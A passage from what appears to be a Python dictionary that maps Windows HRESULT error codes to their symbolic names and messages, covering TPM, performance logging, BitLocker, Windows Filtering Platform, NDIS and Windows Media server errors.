0x80290302: ("TPM_E_PPI_BIOS_FAILURE", "The BIOS failure prevented the successful execution of the requested TPM operation (for example, invalid TPM operation request, BIOS communication error with the TPM)."),
0x80290303: ("TPM_E_PPI_NOT_SUPPORTED", "The BIOS does not support the physical presence interface."),
0x80300002: ("PLA_E_DCS_NOT_FOUND", "A Data Collector Set was not found."),
0x80300045: ("PLA_E_TOO_MANY_FOLDERS", "Unable to start Data Collector Set because there are too many folders."),
0x80300070: ("PLA_E_NO_MIN_DISK", "Not enough free disk space to start Data Collector Set."),
0x803000AA: ("PLA_E_DCS_IN_USE", "Data Collector Set is in use."),
0x803000B7: ("PLA_E_DCS_ALREADY_EXISTS", "Data Collector Set already exists."),
0x80300101: ("PLA_E_PROPERTY_CONFLICT", "Property value conflict."),
0x80300102: ("PLA_E_DCS_SINGLETON_REQUIRED", "The current configuration for this Data Collector Set requires that it contain exactly one Data Collector."),
0x80300103: ("PLA_E_CREDENTIALS_REQUIRED", "A user account is required to commit the current Data Collector Set properties."),
0x80300104: ("PLA_E_DCS_NOT_RUNNING", "Data Collector Set is not running."),
0x80300105: ("PLA_E_CONFLICT_INCL_EXCL_API", "A conflict was detected in the list of include and exclude APIs. Do not specify the same API in both the include list and the exclude list."),
0x80300106: ("PLA_E_NETWORK_EXE_NOT_VALID", "The executable path specified refers to a network share or UNC path."),
0x80300107: ("PLA_E_EXE_ALREADY_CONFIGURED", "The executable path specified is already configured for API tracing."),
0x80300108: ("PLA_E_EXE_PATH_NOT_VALID", "The executable path specified does not exist. Verify that the specified path is correct."),
0x80300109: ("PLA_E_DC_ALREADY_EXISTS", "Data Collector already exists."),
0x8030010A: ("PLA_E_DCS_START_WAIT_TIMEOUT", "The wait for the Data Collector Set start notification has timed out."),
0x8030010B: ("PLA_E_DC_START_WAIT_TIMEOUT", "The wait for the Data Collector to start has timed out."),
0x8030010C: ("PLA_E_REPORT_WAIT_TIMEOUT", "The wait for the report generation tool to finish has timed out."),
0x8030010D: ("PLA_E_NO_DUPLICATES", "Duplicate items are not allowed."),
0x8030010E: ("PLA_E_EXE_FULL_PATH_REQUIRED", "When specifying the executable to trace, you must specify a full path to the executable and not just a file name."),
0x8030010F: ("PLA_E_INVALID_SESSION_NAME", "The session name provided is invalid."),
0x80300110: ("PLA_E_PLA_CHANNEL_NOT_ENABLED", "The Event Log channel Microsoft-Windows-Diagnosis-PLA/Operational must be enabled to perform this operation."),
0x80300111: ("PLA_E_TASKSCHED_CHANNEL_NOT_ENABLED", "The Event Log channel Microsoft-Windows-TaskScheduler must be enabled to perform this operation."),
0x80310000: ("FVE_E_LOCKED_VOLUME", "The volume must be unlocked before it can be used."),
0x80310001: ("FVE_E_NOT_ENCRYPTED", "The volume is fully decrypted and no key is available."),
0x80310002: ("FVE_E_NO_TPM_BIOS", "The firmware does not support using a TPM during boot."),
0x80310003: ("FVE_E_NO_MBR_METRIC", "The firmware does not use a TPM to perform initial program load (IPL) measurement."),
0x80310004: ("FVE_E_NO_BOOTSECTOR_METRIC", "The master boot record (MBR) is not TPM-aware."),
0x80310005: ("FVE_E_NO_BOOTMGR_METRIC", "The BOOTMGR is not being measured by the TPM."),
0x80310006: ("FVE_E_WRONG_BOOTMGR", "The BOOTMGR component does not perform expected TPM measurements."),
0x80310007: ("FVE_E_SECURE_KEY_REQUIRED", "No secure key protection mechanism has been defined."),
0x80310008: ("FVE_E_NOT_ACTIVATED", "This volume has not been provisioned for encryption."),
0x80310009: ("FVE_E_ACTION_NOT_ALLOWED", "Requested action was denied by the full-volume encryption (FVE) control engine."),
0x8031000A: ("FVE_E_AD_SCHEMA_NOT_INSTALLED", "The Active Directory forest does not contain the required attributes and classes to host FVE or TPM information."),
0x8031000B: ("FVE_E_AD_INVALID_DATATYPE", "The type of data obtained from Active Directory was not expected."),
0x8031000C: ("FVE_E_AD_INVALID_DATASIZE", "The size of the data obtained from Active Directory was not expected."),
0x8031000D: ("FVE_E_AD_NO_VALUES", "The attribute read from Active Directory has no (zero) values."),
0x8031000E: ("FVE_E_AD_ATTR_NOT_SET", "The attribute was not set."),
0x8031000F: ("FVE_E_AD_GUID_NOT_FOUND", "The specified GUID could not be found."),
0x80310010: ("FVE_E_BAD_INFORMATION", "The control block for the encrypted volume is not valid."),
0x80310011: ("FVE_E_TOO_SMALL", "Not enough free space remaining on volume to allow encryption."),
0x80310012: ("FVE_E_SYSTEM_VOLUME", "The volume cannot be encrypted because it is required to boot the operating system."),
0x80310013: ("FVE_E_FAILED_WRONG_FS", "The volume cannot be encrypted because the file system is not supported."),
0x80310014: ("FVE_E_FAILED_BAD_FS", "The file system is inconsistent. Run CHKDSK."),
0x80310015: ("FVE_E_NOT_SUPPORTED", "This volume cannot be encrypted."),
0x80310016: ("FVE_E_BAD_DATA", "Data supplied is malformed."),
0x80310017: ("FVE_E_VOLUME_NOT_BOUND", "Volume is not bound to the system."),
0x80310018: ("FVE_E_TPM_NOT_OWNED", "TPM must be owned before a volume can be bound to it."),
0x80310019: ("FVE_E_NOT_DATA_VOLUME", "The volume specified is not a data volume."),
0x8031001A: ("FVE_E_AD_INSUFFICIENT_BUFFER", "The buffer supplied to a function was insufficient to contain the returned data."),
0x8031001B: ("FVE_E_CONV_READ", "A read operation failed while converting the volume."),
0x8031001C: ("FVE_E_CONV_WRITE", "A write operation failed while converting the volume."),
0x8031001D: ("FVE_E_KEY_REQUIRED", "One or more key protection mechanisms are required for this volume."),
0x8031001E: ("FVE_E_CLUSTERING_NOT_SUPPORTED", "Cluster configurations are not supported."),
0x8031001F: ("FVE_E_VOLUME_BOUND_ALREADY", "The volume is already bound to the system."),
0x80310020: ("FVE_E_OS_NOT_PROTECTED", "The boot OS volume is not being protected via FVE."),
0x80310021: ("FVE_E_PROTECTION_DISABLED", "All protection mechanisms are effectively disabled (clear key exists)."),
0x80310022: ("FVE_E_RECOVERY_KEY_REQUIRED", "A recovery key protection mechanism is required."),
0x80310023: ("FVE_E_FOREIGN_VOLUME", "This volume cannot be bound to a TPM."),
0x80310024: ("FVE_E_OVERLAPPED_UPDATE", "The control block for the encrypted volume was updated by another thread. Try again."),
0x80310025: ("FVE_E_TPM_SRK_AUTH_NOT_ZERO", "The SRK authentication of the TPM is not zero and, therefore, is not compatible."),
0x80310026: ("FVE_E_FAILED_SECTOR_SIZE", "The volume encryption algorithm cannot be used on this sector size."),
0x80310027: ("FVE_E_FAILED_AUTHENTICATION", "BitLocker recovery authentication failed."),
0x80310028: ("FVE_E_NOT_OS_VOLUME", "The volume specified is not the boot OS volume."),
0x80310029: ("FVE_E_AUTOUNLOCK_ENABLED", "Auto-unlock information for data volumes is present on the boot OS volume."),
0x8031002A: ("FVE_E_WRONG_BOOTSECTOR", "The system partition boot sector does not perform TPM measurements."),
0x8031002B: ("FVE_E_WRONG_SYSTEM_FS", "The system partition file system must be NTFS."),
0x8031002C: ("FVE_E_POLICY_PASSWORD_REQUIRED", "Group policy requires a recovery password before encryption may begin."),
0x8031002D: ("FVE_E_CANNOT_SET_FVEK_ENCRYPTED", "The volume encryption algorithm and key cannot be set on an encrypted volume."),
0x8031002E: ("FVE_E_CANNOT_ENCRYPT_NO_KEY", "A key must be specified before encryption may begin."),
0x80310030: ("FVE_E_BOOTABLE_CDDVD", "A bootable CD/DVD is in the system. Remove the CD/DVD and reboot the system."),
0x80310031: ("FVE_E_PROTECTOR_EXISTS", "An instance of this key protector already exists on the volume."),
0x80310032: ("FVE_E_RELATIVE_PATH", "The file cannot be saved to a relative path."),
0x80320001: ("FWP_E_CALLOUT_NOT_FOUND", "The callout does not exist."),
0x80320002: ("FWP_E_CONDITION_NOT_FOUND", "The filter condition does not exist."),
0x80320003: ("FWP_E_FILTER_NOT_FOUND", "The filter does not exist."),
0x80320004: ("FWP_E_LAYER_NOT_FOUND", "The layer does not exist."),
0x80320005: ("FWP_E_PROVIDER_NOT_FOUND", "The provider does not exist."),
0x80320006: ("FWP_E_PROVIDER_CONTEXT_NOT_FOUND", "The provider context does not exist."),
0x80320007: ("FWP_E_SUBLAYER_NOT_FOUND", "The sublayer does not exist."),
0x80320008: ("FWP_E_NOT_FOUND", "The object does not exist."),
0x80320009: ("FWP_E_ALREADY_EXISTS", "An object with that GUID or LUID already exists."),
0x8032000A: ("FWP_E_IN_USE", "The object is referenced by other objects and, therefore, cannot be deleted."),
0x8032000B: ("FWP_E_DYNAMIC_SESSION_IN_PROGRESS", "The call is not allowed from within a dynamic session."),
0x8032000C: ("FWP_E_WRONG_SESSION", "The call was made from the wrong session and, therefore, cannot be completed."),
0x8032000D: ("FWP_E_NO_TXN_IN_PROGRESS", "The call must be made from within an explicit transaction."),
0x8032000E: ("FWP_E_TXN_IN_PROGRESS", "The call is not allowed from within an explicit transaction."),
0x8032000F: ("FWP_E_TXN_ABORTED", "The explicit transaction has been forcibly canceled."),
0x80320010: ("FWP_E_SESSION_ABORTED", "The session has been canceled."),
0x80320011: ("FWP_E_INCOMPATIBLE_TXN", "The call is not allowed from within a read-only transaction."),
0x80320012: ("FWP_E_TIMEOUT", "The call timed out while waiting to acquire the transaction lock."),
0x80320013: ("FWP_E_NET_EVENTS_DISABLED", "Collection of network diagnostic events is disabled."),
0x80320014: ("FWP_E_INCOMPATIBLE_LAYER", "The operation is not supported by the specified layer."),
0x80320015: ("FWP_E_KM_CLIENTS_ONLY", "The call is allowed for kernel-mode callers only."),
0x80320016: ("FWP_E_LIFETIME_MISMATCH", "The call tried to associate two objects with incompatible lifetimes."),
0x80320017: ("FWP_E_BUILTIN_OBJECT", "The object is built in and, therefore, cannot be deleted."),
0x80320018: ("FWP_E_TOO_MANY_BOOTTIME_FILTERS", "The maximum number of boot-time filters has been reached."),
0x80320019: ("FWP_E_NOTIFICATION_DROPPED", "A notification could not be delivered because a message queue is at its maximum capacity."),
0x8032001A: ("FWP_E_TRAFFIC_MISMATCH", "The traffic parameters do not match those for the security association context."),
0x8032001B: ("FWP_E_INCOMPATIBLE_SA_STATE", "The call is not allowed for the current security association state."),
0x8032001C: ("FWP_E_NULL_POINTER", "A required pointer is null."),
0x8032001D: ("FWP_E_INVALID_ENUMERATOR", "An enumerator is not valid."),
0x8032001E: ("FWP_E_INVALID_FLAGS", "The flags field contains an invalid value."),
0x8032001F: ("FWP_E_INVALID_NET_MASK", "A network mask is not valid."),
0x80320020: ("FWP_E_INVALID_RANGE", "An FWP_RANGE is not valid."),
0x80320021: ("FWP_E_INVALID_INTERVAL", "The time interval is not valid."),
0x80320022: ("FWP_E_ZERO_LENGTH_ARRAY", "An array that must contain at least one element that is zero-length."),
0x80320023: ("FWP_E_NULL_DISPLAY_NAME", "The displayData.name field cannot be null."),
0x80320024: ("FWP_E_INVALID_ACTION_TYPE", "The action type is not one of the allowed action types for a filter."),
0x80320025: ("FWP_E_INVALID_WEIGHT", "The filter weight is not valid."),
0x80320026: ("FWP_E_MATCH_TYPE_MISMATCH", "A filter condition contains a match type that is not compatible with the operands."),
0x80320027: ("FWP_E_TYPE_MISMATCH", "An FWP_VALUE or FWPM_CONDITION_VALUE is of the wrong type."),
0x80320028: ("FWP_E_OUT_OF_BOUNDS", "An integer value is outside the allowed range."),
0x80320029: ("FWP_E_RESERVED", "A reserved field is nonzero."),
0x8032002A: ("FWP_E_DUPLICATE_CONDITION", "A filter cannot contain multiple conditions operating on a single field."),
0x8032002B: ("FWP_E_DUPLICATE_KEYMOD", "A policy cannot contain the same keying module more than once."),
0x8032002C: ("FWP_E_ACTION_INCOMPATIBLE_WITH_LAYER", "The action type is not compatible with the layer."),
0x8032002D: ("FWP_E_ACTION_INCOMPATIBLE_WITH_SUBLAYER", "The action type is not compatible with the sublayer."),
0x8032002E: ("FWP_E_CONTEXT_INCOMPATIBLE_WITH_LAYER", "The raw context or the provider context is not compatible with the layer."),
0x8032002F: ("FWP_E_CONTEXT_INCOMPATIBLE_WITH_CALLOUT", "The raw context or the provider context is not compatible with the callout."),
0x80320030: ("FWP_E_INCOMPATIBLE_AUTH_METHOD", "The authentication method is not compatible with the policy type."),
0x80320031: ("FWP_E_INCOMPATIBLE_DH_GROUP", "The Diffie-Hellman group is not compatible with the policy type."),
0x80320032: ("FWP_E_EM_NOT_SUPPORTED", "An Internet Key Exchange (IKE) policy cannot contain an Extended Mode policy."),
0x80320033: ("FWP_E_NEVER_MATCH", "The enumeration template or subscription will never match any objects."),
0x80320034: ("FWP_E_PROVIDER_CONTEXT_MISMATCH", "The provider context is of the wrong type."),
0x80320035: ("FWP_E_INVALID_PARAMETER", "The parameter is incorrect."),
0x80320036: ("FWP_E_TOO_MANY_SUBLAYERS", "The maximum number of sublayers has been reached."),
0x80320037: ("FWP_E_CALLOUT_NOTIFICATION_FAILED", "The notification function for a callout returned an error."),
0x80320038: ("FWP_E_INCOMPATIBLE_AUTH_CONFIG", "The IPsec authentication configuration is not compatible with the authentication type."),
0x80320039: ("FWP_E_INCOMPATIBLE_CIPHER_CONFIG", "The IPsec cipher configuration is not compatible with the cipher type."),
0x80340002: ("ERROR_NDIS_INTERFACE_CLOSING", "The binding to the network interface is being closed."),
0x80340004: ("ERROR_NDIS_BAD_VERSION", "An invalid version was specified."),
0x80340005: ("ERROR_NDIS_BAD_CHARACTERISTICS", "An invalid characteristics table was used."),
0x80340006: ("ERROR_NDIS_ADAPTER_NOT_FOUND", "Failed to find the network interface, or the network interface is not ready."),
0x80340007: ("ERROR_NDIS_OPEN_FAILED", "Failed to open the network interface."),
0x80340008: ("ERROR_NDIS_DEVICE_FAILED", "The network interface has encountered an internal unrecoverable failure."),
0x80340009: ("ERROR_NDIS_MULTICAST_FULL", "The multicast list on the network interface is full."),
0x8034000A: ("ERROR_NDIS_MULTICAST_EXISTS", "An attempt was made to add a duplicate multicast address to the list."),
0x8034000B: ("ERROR_NDIS_MULTICAST_NOT_FOUND", "At attempt was made to remove a multicast address that was never added."),
0x8034000C: ("ERROR_NDIS_REQUEST_ABORTED", "The network interface aborted the request."),
0x8034000D: ("ERROR_NDIS_RESET_IN_PROGRESS", "The network interface cannot process the request because it is being reset."),
0x8034000F: ("ERROR_NDIS_INVALID_PACKET", "An attempt was made to send an invalid packet on a network interface."),
0x80340010: ("ERROR_NDIS_INVALID_DEVICE_REQUEST", "The specified request is not a valid operation for the target device."),
0x80340011: ("ERROR_NDIS_ADAPTER_NOT_READY", "The network interface is not ready to complete this operation."),
0x80340014: ("ERROR_NDIS_INVALID_LENGTH", "The length of the buffer submitted for this operation is not valid."),
0x80340015: ("ERROR_NDIS_INVALID_DATA", "The data used for this operation is not valid."),
0x80340016: ("ERROR_NDIS_BUFFER_TOO_SHORT", "The length of the buffer submitted for this operation is too small."),
0x80340017: ("ERROR_NDIS_INVALID_OID", "The network interface does not support this OID."),
0x80340018: ("ERROR_NDIS_ADAPTER_REMOVED", "The network interface has been removed."),
0x80340019: ("ERROR_NDIS_UNSUPPORTED_MEDIA", "The network interface does not support this media type."),
0x8034001A: ("ERROR_NDIS_GROUP_ADDRESS_IN_USE", "An attempt was made to remove a token ring group address that is in use by other components."),
0x8034001B: ("ERROR_NDIS_FILE_NOT_FOUND", "An attempt was made to map a file that cannot be found."),
0x8034001C: ("ERROR_NDIS_ERROR_READING_FILE", "An error occurred while the NDIS tried to map the file."),
0x8034001D: ("ERROR_NDIS_ALREADY_MAPPED", "An attempt was made to map a file that is already mapped."),
0x8034001E: ("ERROR_NDIS_RESOURCE_CONFLICT", "An attempt to allocate a hardware resource failed because the resource is used by another component."),
0x8034001F: ("ERROR_NDIS_MEDIA_DISCONNECTED", "The I/O operation failed because network media is disconnected or the wireless access point is out of range."),
0x80340022: ("ERROR_NDIS_INVALID_ADDRESS", "The network address used in the request is invalid."),
0x8034002A: ("ERROR_NDIS_PAUSED", "The offload operation on the network interface has been paused."),
0x8034002B: ("ERROR_NDIS_INTERFACE_NOT_FOUND", "The network interface was not found."),
0x8034002C: ("ERROR_NDIS_UNSUPPORTED_REVISION", "The revision number specified in the structure is not supported."),
0x8034002D: ("ERROR_NDIS_INVALID_PORT", "The specified port does not exist on this network interface."),
0x8034002E: ("ERROR_NDIS_INVALID_PORT_STATE", "The current state of the specified port on this network interface does not support the requested operation."),
0x803400BB: ("ERROR_NDIS_NOT_SUPPORTED", "The network interface does not support this request."),
0x80342000: ("ERROR_NDIS_DOT11_AUTO_CONFIG_ENABLED", "The wireless local area network (LAN) interface is in auto-configuration mode and does not support the requested parameter change operation."),
0x80342001: ("ERROR_NDIS_DOT11_MEDIA_IN_USE", "The wireless LAN interface is busy and cannot perform the requested operation."),
0x80342002: ("ERROR_NDIS_DOT11_POWER_STATE_INVALID", "The wireless LAN interface is shutting down and does not support the requested operation."),
0x8DEAD01B: ("TRK_E_NOT_FOUND", "A requested object was not found."),
0x8DEAD01C: ("TRK_E_VOLUME_QUOTA_EXCEEDED", "The server received a CREATE_VOLUME subrequest of a SYNC_VOLUMES request, but the ServerVolumeTable size limit for the RequestMachine has already been reached."),
0x8DEAD01E: ("TRK_SERVER_TOO_BUSY", "The server is busy, and the client should retry the request at a later time."),
0xC0090001: ("ERROR_AUDITING_DISABLED", "The specified event is currently not being audited."),
0xC0090002: ("ERROR_ALL_SIDS_FILTERED", "The SID filtering operation removed all SIDs."),
0xC0090003: ("ERROR_BIZRULES_NOT_ENABLED", "Business rule scripts are disabled for the calling application."),
0xC00D0005: ("NS_E_NOCONNECTION", "There is no connection established with the Windows Media server. The operation failed."),
0xC00D0006: ("NS_E_CANNOTCONNECT", "Unable to establish a connection to the server."),
0xC00D0007: ("NS_E_CANNOTDESTROYTITLE", "Unable to destroy the title."),
0xC00D0008: ("NS_E_CANNOTRENAMETITLE", "Unable to rename the title."),
0xC00D0009: ("NS_E_CANNOTOFFLINEDISK", "Unable to offline disk."),
0xC00D000A: ("NS_E_CANNOTONLINEDISK", "Unable to online disk."),
0xC00D000B: ("NS_E_NOREGISTEREDWALKER", "There is no file parser registered for this type of file."),
0xC00D000C: ("NS_E_NOFUNNEL", "There is no data connection established."),
0xC00D000D: ("NS_E_NO_LOCALPLAY", "Failed to load the local play DLL."),
0xC00D000E: ("NS_E_NETWORK_BUSY", "The network is busy."),
0xC00D000F: ("NS_E_TOO_MANY_SESS", "The server session limit was exceeded."),
0xC00D0010: ("NS_E_ALREADY_CONNECTED", "The network connection already exists."),
0xC00D0011: ("NS_E_INVALID_INDEX", "Index %1 is invalid."),
0xC00D0012: ("NS_E_PROTOCOL_MISMATCH", "There is no protocol or protocol version supported by both the client and the server."),
0xC00D0013: ("NS_E_TIMEOUT", "The server, a computer set up to offer multimedia content to other computers, could not handle your request for multimedia content in a timely manner. Please try again later."),
0xC00D0014: ("NS_E_NET_WRITE", "Error writing to the network."),
0xC00D0015: ("NS_E_NET_READ", "Error reading from the network."),
0xC00D0016: ("NS_E_DISK_WRITE", "Error writing to a disk."),
0xC00D0017: ("NS_E_DISK_READ", "Error reading from a disk."),
0xC00D0018: ("NS_E_FILE_WRITE", "Error writing to a file."),
0xC00D0019: ("NS_E_FILE_READ", "Error reading from a file."),
0xC00D001A: ("NS_E_FILE_NOT_FOUND", "The system cannot find the file specified."),
0xC00D001B: ("NS_E_FILE_EXISTS", "The file already exists."),
0xC00D001C: ("NS_E_INVALID_NAME", "The file name, directory name, or volume label syntax is incorrect."),
0xC00D001D: ("NS_E_FILE_OPEN_FAILED", "Failed to open a file."),
0xC00D001E: ("NS_E_FILE_ALLOCATION_FAILED", "Unable to allocate a file."),
0xC00D001F: ("NS_E_FILE_INIT_FAILED", "Unable to initialize a file."),
0xC00D0020: ("NS_E_FILE_PLAY_FAILED", "Unable to play a file."),
0xC00D0021: ("NS_E_SET_DISK_UID_FAILED", "Could not set the disk UID."),
0xC00D0022: ("NS_E_INDUCED", "An error was induced for testing purposes."),
0xC00D0023: ("NS_E_CCLINK_DOWN", "Two Content Servers failed to communicate."),
0xC00D0024: ("NS_E_INTERNAL", "An unknown error occurred."),
0xC00D0025: ("NS_E_BUSY", "The requested resource is in use."),
0xC00D0026: ("NS_E_UNRECOGNIZED_STREAM_TYPE", "The specified protocol is not recognized. Be sure that the file name and syntax, such as slashes, are correct for the protocol."),
0xC00D0027: ("NS_E_NETWORK_SERVICE_FAILURE", "The network service provider failed."),
0xC00D0028: ("NS_E_NETWORK_RESOURCE_FAILURE", "An attempt to acquire a network resource failed."),
0xC00D0029: ("NS_E_CONNECTION_FAILURE", "The network connection has failed."),
0xC00D002A: ("NS_E_SHUTDOWN", "The session is being terminated locally."),
0xC00D002B: ("NS_E_INVALID_REQUEST", "The request is invalid in the current state."),
0xC00D002C: ("NS_E_INSUFFICIENT_BANDWIDTH", "There is insufficient bandwidth available to fulfill the request."),
0xC00D002D: ("NS_E_NOT_REBUILDING", "The disk is not rebuilding."),
0xC00D002E: ("NS_E_LATE_OPERATION", "An operation requested for a particular time could not be carried out on schedule."),
0xC00D002F: ("NS_E_INVALID_DATA", "Invalid or corrupt data was encountered."),
0xC00D0030: ("NS_E_FILE_BANDWIDTH_LIMIT", "The bandwidth required to stream a file is higher than the maximum file bandwidth allowed on the server."),
0xC00D0031: ("NS_E_OPEN_FILE_LIMIT", "The client cannot have any more files open simultaneously."),
0xC00D0032: ("NS_E_BAD_CONTROL_DATA", "The server received invalid data from the client on the control connection."),
0xC00D0033: ("NS_E_NO_STREAM", "There is no stream available."),
0xC00D0034: ("NS_E_STREAM_END", "There is no more data in the stream."),
0xC00D0035: ("NS_E_SERVER_NOT_FOUND", "The specified server could not be found."),
0xC00D0036: ("NS_E_DUPLICATE_NAME", "The specified name is already in use."),
0xC00D0037: ("NS_E_DUPLICATE_ADDRESS", "The specified address is already in use."),
0xC00D0038: ("NS_E_BAD_MULTICAST_ADDRESS", "The specified address is not a valid multicast address."),
0xC00D0039: ("NS_E_BAD_ADAPTER_ADDRESS", "The specified adapter address is invalid."),
0xC00D003A: ("NS_E_BAD_DELIVERY_MODE", "The specified delivery mode is invalid."),
0xC00D003B: ("NS_E_INVALID_CHANNEL", "The specified station does not exist."),
0xC00D003C: ("NS_E_INVALID_STREAM", "The specified stream does not exist."),
0xC00D003D: ("NS_E_INVALID_ARCHIVE", "The specified archive could not be opened."),
0xC00D003E: ("NS_E_NOTITLES", "The system cannot find any titles on the server."),
0xC00D003F: ("NS_E_INVALID_CLIENT", "The system cannot find the client specified."),
0xC00D0040: ("NS_E_INVALID_BLACKHOLE_ADDRESS", "The Blackhole Address is not initialized."),
0xC00D0041: ("NS_E_INCOMPATIBLE_FORMAT", "The station does not support the stream format."),
0xC00D0042: ("NS_E_INVALID_KEY", "The specified key is not valid."),
0xC00D0043: ("NS_E_INVALID_PORT", "The specified port is not valid."),
0xC00D0044: ("NS_E_INVALID_TTL", "The specified TTL is not valid."),
0xC00D0045: ("NS_E_STRIDE_REFUSED", "The request to fast forward or rewind could not be fulfilled."),
0xC00D0046: ("NS_E_MMSAUTOSERVER_CANTFINDWALKER", "Unable to load the appropriate file parser."),
0xC00D0047: ("NS_E_MAX_BITRATE", "Cannot exceed the maximum bandwidth limit."),
0xC00D0048: ("NS_E_LOGFILEPERIOD", "Invalid value for LogFilePeriod."),
0xC00D0049: ("NS_E_MAX_CLIENTS", "Cannot exceed the maximum client limit."),
0xC00D004A: ("NS_E_LOG_FILE_SIZE", "The maximum log file size has been reached."),
0xC00D004B: ("NS_E_MAX_FILERATE", "Cannot exceed the maximum file rate."),
0xC00D004C: ("NS_E_WALKER_UNKNOWN", "Unknown file type."),
0xC00D004D: ("NS_E_WALKER_SERVER", "The specified file, %1, cannot be loaded onto the specified server, %2."),
0xC00D004E: ("NS_E_WALKER_USAGE", "There was a usage error with file parser."),
0xC00D0050: ("NS_E_TIGER_FAIL", "The Title Server %1 has failed."),
0xC00D0053: ("NS_E_CUB_FAIL", "Content Server %1 (%2) has failed."),
0xC00D0055: ("NS_E_DISK_FAIL", "Disk %1 ( %2 ) on Content Server %3, has failed."),
0xC00D0060: ("NS_E_MAX_FUNNELS_ALERT", "The NetShow data stream limit of %1 streams was reached."),
0xC00D0061: ("NS_E_ALLOCATE_FILE_FAIL", "The NetShow Video Server was unable to allocate a %1 block file named %2."),
0xC00D0062: ("NS_E_PAGING_ERROR", "A Content Server was unable to page a block."),
0xC00D0063: ("NS_E_BAD_BLOCK0_VERSION", "Disk %1 has unrecognized control block version %2."),
0xC00D0064: ("NS_E_BAD_DISK_UID", "Disk %1 has incorrect uid %2."),
0xC00D0065: ("NS_E_BAD_FSMAJOR_VERSION", "Disk %1 has unsupported file system major version %2."),
0xC00D0066: ("NS_E_BAD_STAMPNUMBER", "Disk %1 has bad stamp number in control block."),
0xC00D0067: ("NS_E_PARTIALLY_REBUILT_DISK", "Disk %1 is partially reconstructed."),
0xC00D0068: ("NS_E_ENACTPLAN_GIVEUP", "EnactPlan gives up."),
0xC00D006A: ("MCMADM_E_REGKEY_NOT_FOUND", "The key was not found in the registry."),
0xC00D006B: ("NS_E_NO_FORMATS", "The publishing point cannot be started because the server does not have the appropriate stream formats. Use the Multicast Announcement Wizard to create a new announcement for this publishing point."),
0xC00D006C: ("NS_E_NO_REFERENCES", "No reference URLs were found in an ASX file."),
0xC00D006D: ("NS_E_WAVE_OPEN", "Error opening wave device, the device might be in use."),
0xC00D006F: ("NS_E_CANNOTCONNECTEVENTS", "Unable to establish a connection to the NetShow event monitor service."),
0xC00D0071: ("NS_E_NO_DEVICE", "No device driver is present on the system."),
0xC00D0072: ("NS_E_NO_SPECIFIED_DEVICE", "No specified device driver is present."),
0xC00D00C8: ("NS_E_MONITOR_GIVEUP", "Netshow Events Monitor is not operational and has been disconnected."),
0xC00D00C9: ("NS_E_REMIRRORED_DISK", "Disk %1 is remirrored."),
0xC00D00CA: ("NS_E_INSUFFICIENT_DATA", "Insufficient data found."),
0xC00D00CB: ("NS_E_ASSERT", "1 failed in file %2 line %3."),
0xC00D00CC: ("NS_E_BAD_ADAPTER_NAME", "The specified adapter name is invalid."),
0xC00D00CD: ("NS_E_NOT_LICENSED", "The application is not licensed for this feature."),
0xC00D00CE: ("NS_E_NO_SERVER_CONTACT", "Unable to contact the server."),
0xC00D00CF: ("NS_E_TOO_MANY_TITLES", "Maximum number of titles exceeded."),
0xC00D00D0: ("NS_E_TITLE_SIZE_EXCEEDED", "Maximum size of a title exceeded."),
0xC00D00D1: ("NS_E_UDP_DISABLED", "UDP protocol not enabled. Not trying %1!ls!."),
0xC00D00D2: ("NS_E_TCP_DISABLED", "TCP protocol not enabled. Not trying %1!ls!."),
0xC00D00D3: ("NS_E_HTTP_DISABLED", "HTTP protocol not enabled. Not trying %1!ls!."),
0xC00D00D4: ("NS_E_LICENSE_EXPIRED", "The product license has expired."),
0xC00D00D5: ("NS_E_TITLE_BITRATE", "Source file exceeds the per title maximum bitrate. See NetShow Theater documentation for more information."),
0xC00D00D6: ("NS_E_EMPTY_PROGRAM_NAME", "The program name cannot be empty."),
0xC00D00D7: ("NS_E_MISSING_CHANNEL", "Station %1 does not exist."),
0xC00D00D8: ("NS_E_NO_CHANNELS", "You need to define at least one station before this operation can complete."),
0xC00D00D9: ("NS_E_INVALID_INDEX2", "The index specified is invalid."),
0xC00D0190: ("NS_E_CUB_FAIL_LINK", "Content Server %1 (%2) has failed its link to Content Server %3."),
0xC00D0192: ("NS_E_BAD_CUB_UID", "Content Server %1 (%2) has incorrect uid %3."),
0xC00D0195: ("NS_E_GLITCH_MODE", "Server unreliable because multiple components failed."),
0xC00D019B: ("NS_E_NO_MEDIA_PROTOCOL", "Content Server %1 (%2) is unable to communicate with the Media System Network Protocol."),
0xC00D07F1: ("NS_E_NOTHING_TO_DO", "Nothing to do."),
0xC00D07F2: ("NS_E_NO_MULTICAST", "Not receiving data from the server."),
0xC00D0BB8: ("NS_E_INVALID_INPUT_FORMAT", "The input media format is invalid."),
0xC00D0BB9: ("NS_E_MSAUDIO_NOT_INSTALLED", "The MSAudio codec is not installed on this system."),
0xC00D0BBA: ("NS_E_UNEXPECTED_MSAUDIO_ERROR", "An unexpected error occurred with the MSAudio codec."),
0xC00D0BBB: ("NS_E_INVALID_OUTPUT_FORMAT", "The output media format is invalid."),
0xC00D0BBC: ("NS_E_NOT_CONFIGURED", "The object must be fully configured before audio samples can be processed."),
0xC00D0BBD: ("NS_E_PROTECTED_CONTENT", "You need a license to perform the requested operation on this media file."),
0xC00D0BBE: ("NS_E_LICENSE_REQUIRED", "You need a license to perform the requested operation on this media file."),
0xC00D0BBF: ("NS_E_TAMPERED_CONTENT", "This media file is corrupted or invalid. Contact the content provider for a new file."),
0xC00D0BC0: ("NS_E_LICENSE_OUTOFDATE", "The license for this media file has expired. Get a new license or contact the content provider for further assistance."),
0xC00D0BC1: ("NS_E_LICENSE_INCORRECT_RIGHTS", "You are not allowed to open this file. Contact the content provider for further assistance."),
0xC00D0BC2: ("NS_E_AUDIO_CODEC_NOT_INSTALLED", "The requested audio codec is not installed on this system."),
0xC00D0BC3: ("NS_E_AUDIO_CODEC_ERROR", "An unexpected error occurred with the audio codec."),
0xC00D0BC4: ("NS_E_VIDEO_CODEC_NOT_INSTALLED", "The requested video codec is not installed on this system."),
0xC00D0BC5: ("NS_E_VIDEO_CODEC_ERROR", "An unexpected error occurred with the video codec."),
0xC00D0BC6: ("NS_E_INVALIDPROFILE", "The Profile is invalid."),
0xC00D0BC7: ("NS_E_INCOMPATIBLE_VERSION", "A new version of the SDK is needed to play the requested content."),
0xC00D0BCA: ("NS_E_OFFLINE_MODE", "The requested URL is not available in offline mode."),
0xC00D0BCB: ("NS_E_NOT_CONNECTED", "The requested URL cannot be accessed because there is no network connection."),
0xC00D0BCC: ("NS_E_TOO_MUCH_DATA", "The encoding process was unable to keep up with the amount of supplied data."),
